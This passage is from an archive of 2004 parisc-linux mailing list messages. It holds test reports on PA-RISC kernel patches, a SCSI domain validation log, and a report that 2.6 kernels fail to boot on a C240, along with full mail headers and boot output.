build and boot fine on n4k (64bit 2way system) (on going to rebuild kernel ;-)
same results on b2k 64bit kernel (32bit on going to build)

> I'd like to commit this soon and move onto step 2.
> 
Just would like to test on b180 (on going to build too) and c110 ;-)

hth,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.6.10-pa1 panic on C360 in SCSI driver
Date: Thu, 30 Dec 2004 15:43:18 -0500
Organization: wh0rd.org
Lines: 112
Approved: news@gmane.org
Message-ID: <200412301543.18478.vapier@gentoo.org>
References: <200412260504.40205.vapier@gentoo.org>
	<200412291816.19157.vapier@gentoo.org>
	<1104426241.5268.30.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_mhG1BURmaBhxKyK"
X-Trace: ger.gmane.org 1416624522 26589 80.91.229.3 (22 Nov 2014 02:48:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:42 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:45 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Dec 2004 20:44:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx015) with SMTP; 30 Dec 2004 21:44:04 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DD3483BE53; Thu, 30 Dec 2004 13:43:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30537-07; Thu, 30 Dec 2004 13:43:56 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 57DD63BE63; Thu, 30 Dec 2004 13:43:38 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7774C3BE53
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 13:43:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30534-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 13:43:31 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 7BA4B3BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 13:43:31 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 2EF634957B1; Thu, 30 Dec 2004 13:43:31 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wh0rd.org (wh0rd.org [80.68.88.204])
	by palinux.hppa (Postfix) with ESMTP id 7FB95495692
	for <parisc-linux@parisc-linux.org>;
	Thu, 30 Dec 2004 13:43:30 -0700 (MST)
Original-Received: (qmail 20930 invoked from network); 30 Dec 2004 15:43:20 -0500
Original-Received: from localhost (HELO home.wh0rd.org) (127.0.0.1)
	by localhost with AES256-SHA encrypted SMTP; 30 Dec 2004 15:43:20 -0500
Original-Received: (qmail 14938 invoked from network); 30 Dec 2004 15:43:18 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 30 Dec 2004 15:43:18 -0500
User-Agent: KMail/1.7.2
In-Reply-To: <1104426241.5268.30.camel@mulgrave>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25064

--Boundary-00=_mhG1BURmaBhxKyK
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Thursday 30 December 2004 12:04 pm, James Bottomley wrote:
> Could you reverse all the previous patches in scsi_transport_spi.c and
> apply the attached.  I hope it will detect the write buffer problem and
> fall back to doing DV configuration using the read only tests, so your
> drive should configure at the maximum rate for the 875.

done deal ... i noticed when patching there were a few returns in the updated 
functions that still returned '0' or '1' instead the new enum's ...

new dmesg attached
-mike

--Boundary-00=_mhG1BURmaBhxKyK
Content-Type: text/plain; charset="iso-8859-1";
	name="2.6.10-pa1-scsi-debug-patch7"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="2.6.10-pa1-scsi-debug-patch7"

sym0: <875> rev 0x4 at pci 0000:00:13.0 irq 99
sym0: No NVRAM, ID 7, Fast-20, SE, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.1.18m
elevator: using anticipatory as default io scheduler
  Vendor: IBM       Model: DDRS-34560WS      Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:6:0: tagged command queuing enabled, command queue depth 16.
 target0:0:6: Beginning Domain Validation
sym0:6:wide msgout: 1-2-3-1.
sym0:6:wide msgin: 1-2-3-1.
sym0:6:wdtr: wide=1 chg=0.
sym0:6:sync msgout: 1-3-1-c-0.
sym0:6:sync msgin: 1-3-1-c-0.
sym0:6:sdtr: ofs=0 per=12 div=0 fak=0 chg=0.
sym0:6: wide asynchronous.
 target0:0:6: Domain Validation skipping write tests
sym0:6:sync msgout: 1-3-1-c-10.
sym0:6:sync msgin: 1-3-1-c-f.
sym0:6:sdtr: ofs=15 per=12 div=0 fak=0 chg=0.
sym0:6: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
 target0:0:6: Ending Domain Validation
sym0:9:ppr msgin: 1-6-4-c-0-3f-1-2.
sym0:9: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
sym0:9:ppr msgout: 1-6-4-c-0-10-1-0.
  Vendor: WDIGTL    Model: WDE9150 ULTRA3    Rev: 1.30
  Type:   Direct-Access                      ANSI SCSI revision: 03
sym0:9:0: tagged command queuing enabled, command queue depth 16.
 target0:0:9: Beginning Domain Validation
sym0:9:wide msgout: 1-2-3-0.
sym0:9:wide msgin: 1-2-3-0.
sym0:9:wdtr: wide=0 chg=0.
sym0:9:sync msgin: 1-3-1-c-1f.
sym0:9:sdtr: ofs=16 per=12 div=0 fak=0 chg=1.
sym0:9: FAST-20 SCSI 20.0 MB/s ST (50.0 ns, offset 16)
sym0:9:sync msgout: 1-3-1-c-10.
sym0:9:wide msgout: 1-2-3-1.
sym0:9:wide msgin: 1-2-3-1.
sym0:9:wdtr: wide=1 chg=0.
sym0:9:sync msgout: 1-3-1-c-10.
sym0:9:sync msgin: 1-3-1-c-10.
sym0:9:sdtr: ofs=16 per=12 div=0 fak=0 chg=0.
sym0:9: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
 target0:0:9: Domain Validation skipping write tests
 target0:0:9: Ending Domain Validation
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2 
scsi1 : LASI SCSI 53c700
  Vendor: TOSHIBA   Model: CD-ROM XM-5301TA  Rev: 1895
  Type:   CD-ROM                             ANSI SCSI revision: 02
 target1:0:2: Beginning Domain Validation
scsi1: (2:0) Asynchronous
 target1:0:2: Domain Validation skipping write tests
scsi1: (2:0) Synchronous at offset 8, period 236ns
 target1:0:2: Ending Domain Validation
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
SCSI device sda: drive cache: write back
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
SCSI device sda: drive cache: write back
 sda: sda1 sda2 sda3 sda4
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
SCSI device sdb: 17873040 512-byte hdwr sectors (9151 MB)
SCSI device sdb: drive cache: write back
SCSI device sdb: 17873040 512-byte hdwr sectors (9151 MB)
SCSI device sdb: drive cache: write back
 sdb: unknown partition table
Attached scsi disk sdb at scsi0, channel 0, id 9, lun 0
sr0: scsi-1 drive
Uniform CD-ROM driver Revision: 3.20
Attached scsi CD-ROM sr0 at scsi1, channel 0, id 2, lun 0
Attached scsi generic sg0 at scsi0, channel 0, id 6, lun 0,  type 0
Attached scsi generic sg1 at scsi0, channel 0, id 9, lun 0,  type 0
Attached scsi generic sg2 at scsi1, channel 0, id 2, lun 0,  type 5

--Boundary-00=_mhG1BURmaBhxKyK
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_mhG1BURmaBhxKyK--



From - Thu Nov 08 21:36:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Remove irq_region_ops
Date: Thu, 30 Dec 2004 21:06:23 +0000
Lines: 45
Approved: news@gmane.org
Message-ID: <41D46DCF.5090907@tiscali.be>
References: <20041230184520.GA18080@parcelfarce.linux.theplanet.co.uk>
	<41D45B80.2040807@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624522 26590 80.91.229.3 (22 Nov 2014 02:48:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:42 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:45 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Dec 2004 21:07:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx053) with SMTP; 30 Dec 2004 22:07:00 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A98DC3BE6E; Thu, 30 Dec 2004 14:06:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31636-03; Thu, 30 Dec 2004 14:06:57 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 789383BE63; Thu, 30 Dec 2004 14:06:35 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 53E363BE53
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 14:06:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 31494-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 14:06:28 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 54DD13BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 14:06:28 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 15A934957B1; Thu, 30 Dec 2004 14:06:28 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by palinux.hppa (Postfix) with ESMTP id C1860495692
	for <parisc-linux@parisc-linux.org>;
	Thu, 30 Dec 2004 14:06:27 -0700 (MST)
Original-Received: from [83.134.225.43] (helo=[83.134.225.43])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Ck7V2-0001TY-FB; Thu, 30 Dec 2004 22:06:24 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
X-Accept-Language: en
In-Reply-To: <41D45B80.2040807@tiscali.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25065

Final update

Joel Soete wrote:
> 
> 
> Matthew Wilcox wrote:
> [...]
> 
>>
>> Tested on a 725, mostly with Lasi-based devices.  It'd be nice if someone
>> tested this on an IOSAPIC-based machine (eg a500/b2000/n4000/j7000/c8000)
> 
> 
> build and boot fine on n4k (64bit 2way system) (on going to rebuild 
> kernel ;-)
> same results on b2k 64bit kernel (32bit on going to build)
32bit kernel seems to works as fine as 64bit one :-)

> 
>> I'd like to commit this soon and move onto step 2.
>>
> Just would like to test on b180 (on going to build too)
Unfortunately this system is remote and I do not find any way to break this pdc boot loop:
[...]
Boot Device not ready.
Retrying Boot Device...
Boot Device not ready.
Retrying Boot Device...
Boot Device not ready.
Retrying Boot Device...
[...]

> and c110 ;-)

Boot (and seems to works) fine also :-)

Hope that help you to go ahead.

Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Bartolich <alexander.bartolich@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: C240 and Linux 2.6.x
Date: Fri, 31 Dec 2004 00:14:20 +0100
Lines: 185
Approved: news@gmane.org
Message-ID: <20041230231420.GA15674__9570.98305593735$1416624523$gmane$org@nilpferd.asyl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  micalg=pgp-sha1;
  protocol="application/pgp-signature";
  boundary="zYM0uCDKw75PZbzx"
X-Trace: ger.gmane.org 1416624523 26595 80.91.229.3 (22 Nov 2014 02:48:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:43 +0000 (UTC)
To: debian-hppa@lists.debian.org,
 parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:45 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Dec 2004 23:18:23 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx007) with SMTP; 31 Dec 2004 00:18:23 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id B6E542E281; Thu, 30 Dec 2004 17:16:09 -0600 (CST)
Old-Return-Path: <alexander.bartolich@gmx.at>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from mail.gmx.net (imap.gmx.net [213.165.64.20])
	by murphy.debian.org (Postfix) with SMTP id 1D8012DDD8
	for <debian-hppa@lists.debian.org>; Thu, 30 Dec 2004 17:16:07 -0600 (CST)
Original-Received: (qmail invoked by alias); 30 Dec 2004 23:16:05 -0000
Original-Received: from unknown (EHLO nilpferd.asyl) (217.16.121.147)
  by mail.gmx.net (mp018) with SMTP; 31 Dec 2004 00:16:05 +0100
X-Authenticated: #2150894
Original-Received: by nilpferd.asyl (Postfix, from userid 500)
	id C999A1A115; Fri, 31 Dec 2004 00:14:21 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-Rc-Virus: 2004-10-30_01
X-Rc-Spam: 2004-08-29_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2004_10_25_02 
	(2004-01-11) on newmurphy.debian.org
X-Spam-Status: No, hits=-2.5 required=4.0 tests=IMPRONONCABLE_1,
	IMPRONONCABLE_2,LDOSUBSCRIBER,MDO_CABLE_TV3 autolearn=no 
	version=2.63-lists.debian.org_2004_10_25_02
Resent-Message-ID: <LDXah.A.SHE.5wI1BB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4099
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Thu, 30 Dec 2004 17:16:09 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25066


--zYM0uCDKw75PZbzx
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

I have a C240 satisfyingly running Debian Testing and kernels
from 2.4.17 to 2.4.27-pa4, both stock and custom compiled.

However, no variation of 2.6.x ever booted. Since the last message
I see is that infamous =BByou may need to switch your console=AB I
eventually organized a serial cable, a second machine running
minicom and got the same result:

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Attempting to boot Primary Path...

BOOTABLE DEVICE FOUND:
   Path Number        Device Path              Device Type and Utilities
   -----------        -----------------        -------------------------
   P0                 FWSCSI.0.0               IBM     DNES-309170W
                                               IPL

Booting...
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 1.5 root@c3k Fri May 14 16:17:38 MDT 2004
Skipping extended partition 6 - beyond reach of IPL

Partition Start(MB) End(MB) Id Type
1               1      15   f0 Palo
2              16     503   83 ext2
3             504     980   82 swap
5             981    2887   83 ext2

PALO(F0) partition contains:
    0/vmlinux32 4078989 bytes @ 0x44000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'root=3D/dev/sda2 HOME=3D/ max_loop=3D64 console=
=3DttyS0 TERM=3D'
Selected kernel: /boot/vmlinux from partition 2
Selected ramdisk: /boot/initrd.img-2.6.8-1-32 from partition 2
ELF32 executable
Entry 00100000 first 00100000 n 2
Segment 0 load 00100000 size 2265344 mediaptr 0x1000
Segment 1 load 0032c000 size 458886 mediaptr 0x22b000
Loading ramdisk 3133440 bytes @ 3fcf1000...
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Above kernel is the stock Debian kernel-image-2.6.8-1-32.
I also experimented with a few custom compiled ones (no initrd,
NIC driver statically), same result.

Where is this FAQ item mentioned above?
And how is this ment, anyway?
Just switching consoles within HP's =BBBIOS=AB,
or passing some arguments via /etc/palo.conf,
or compiling the kernel with different settings?

I'd really like to help more, but without any diagnostics of 2.6.x ...
Well, here is the start of dmesg when booting with a custom compiled
kernel:

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Linux version 2.4.27-pa4 (root@lnzx02) (gcc version 3.3.4 (Debian 1:3.3.4-1=
3)) #1 Wed Dec 22 10:21:43 CET 2004
FP[0] enabled: Rev 0 Model 14
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 00005990 00000481 00000000 00000002 782320ae 100000f0 00000008 000000=
b2 000000b2
vers  00000501
CPUID vers 14 rev 23 (0x000001d7)
capabilities 0x2
model 9000/782/C240+
Total Memory: 1536 Mb
pagetable_init
On node 0 totalpages: 393216
zone(0): 393216 pages.
zone(1): 0 pages.
zone(2): 0 pages.
LED display at f0190001 registered
Kernel command line: root=3D/dev/sda2 HOME=3D/ max_loop=3D64 console=3Dtty0=
 sti=3D10/0/4/0 sti_font=3DVGA8x16 TERM=3Dlinux palo_kernel=3D2/boot/vmlinu=
x-2.4.27-pa4
Console: colour dummy device 160x64
Calibrating delay loop... 470.22 BogoMIPS
Memory: 1551652k available
Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes)
Inode cache hash table entries: 131072 (order: 8, 1048576 bytes)
Mount cache hash table entries: 512 (order: 0, 4096 bytes)
Buffer cache hash table entries: 131072 (order: 7, 524288 bytes)
Page-cache hash table entries: 524288 (order: 9, 2097152 bytes)
Searching for devices...
Found devices:
1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580, 0xf, 0xb
2. Dino PCI Bridge (13) at 0xf2000000 [8/0], versions 0x680, 0x3, 0xa,  add=
itional addresses: 0xf2800000
3. Raven U/L2 Dino RS-232 (10) at 0xf2003000 [8/0/63], versions 0x6, 0x0, 0=
x8c
4. Raven U/L2 Dino PS/2 Port (10) at 0xf2001000 [8/1], versions 0x6, 0x0, 0=
x96
5. Raven+ w SE FWSCSI Core BA (11) at 0xffd00000 [8/16], versions 0x56, 0x0=
, 0x81,  additional addresses: 0xffd0c000 0xffc00000
6. Raven+ w SE FWSCSI Core Centronics (10) at 0xffd02000 [8/16/0], versions=
 0x56, 0x0, 0x74,  additional addresses: 0xffd01000 0xffd03000
7. Raven+ w SE FWSCSI Core Audio (10) at 0xffd04000 [8/16/1], versions 0x56=
, 0x4, 0x7b
8. Raven+ w SE FWSCSI Core RS-232 (10) at 0xffd05000 [8/16/4], versions 0x5=
6, 0x0, 0x8c
9. Raven+ w SE FWSCSI Core SCSI (10) at 0xffd06000 [8/16/5], versions 0x56,=
 0x0, 0x82
10. Raven+ w SE FWSCSI Core PS/2 Port (10) at 0xffd08000 [8/16/7], versions=
 0x56, 0x0, 0x84
11. Raven+ w SE FWSCSI Core PS/2 Port (10) at 0xffd08100 [8/16/8], versions=
 0x56, 0x0, 0x84
12. U2-IOA BC GSC+ Port (7) at 0xf203f000 [8/63], versions 0x501, 0x1, 0xc
13. U2-IOA BC Runway Port (12) at 0xfff8a000 [10], versions 0x580, 0xf, 0xb
14. Cujo PCI Bridge (13) at 0xf1000000 [10/0], versions 0x682, 0x1, 0xa,  a=
dditional addresses: 0xf1800000 0xf6000000
15. Dino RS-232 (10) at 0xf1003000 [10/3], versions 0x7, 0x0, 0x8c
16. U2-IOA BC GSC+ Port (7) at 0xf103f000 [10/63], versions 0x501, 0x1, 0xc
17. Raven U 240 (9000/780/C240) (0) at 0xfffa0000 [32], versions 0x599, 0x0=
, 0x4
18. Memory (1) at 0xfffb1000 [49], versions 0x6f, 0x0, 0x9
CPU(s): 1 x PA8200 (PCX-U+) at 236.000000 MHz
Found U2 at 0xfff88000
Found U2 at 0xfff8a000
Lasi version 0 at 0xffd00000 found.
Dino version 3.1 found at 0xf2000000
Cujo version 2.0 found at 0xf1000000
Enabling Cujo 2.0 bug workaround
Don't recognise Cujo at address 0xf1000000, not enabling workaround
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Soft power switch enabled, polling @ 0xf0140000.
Starting kswapd
Journalled Block Device driver loaded
STI GSC/PCI graphics driver version 0.9
STI PCI graphic ROM found at f1e00000 (2048 kB), fb at f6000000 (32 MB)
STI word mode ROM at f1e00044, hpa at f6000000
STI id 2fc1066b-9a02587, conforms to spec rev. 8.09
STI device: HPA4554A
stifb: Unsupported gfx card id 0x2fc1066b
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

--zYM0uCDKw75PZbzx
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iQCVAwUBQdSLzIatRCO2qiMiAQLVhAP/YK6p7fGq+w8zIjLhkA7nFNX4MxIvu2jX
mFAX0mNQ8/Pw4V99tIN35PBMebY9iJRk51CMEZILZvFPQJFjkhSlEHZCZ6TFTNAF
KDofZPGF1chrgp4FWHYHFjEAwyvZWIw0wowHWf6shzHfSjn0/drKlIkM5i4i1knt
AGMJ8hqCWKE=
=mITh
-----END PGP SIGNATURE-----

--zYM0uCDKw75PZbzx--


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C240 and Linux 2.6.x
Date: Fri, 31 Dec 2004 13:27:39 +0000
Lines: 60
Approved: news@gmane.org
Message-ID: <41D553CB.6070802__24606.8084416494$1416624523$gmane$org@tiscali.be>
References: <20041230231420.GA15674@nilpferd.asyl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
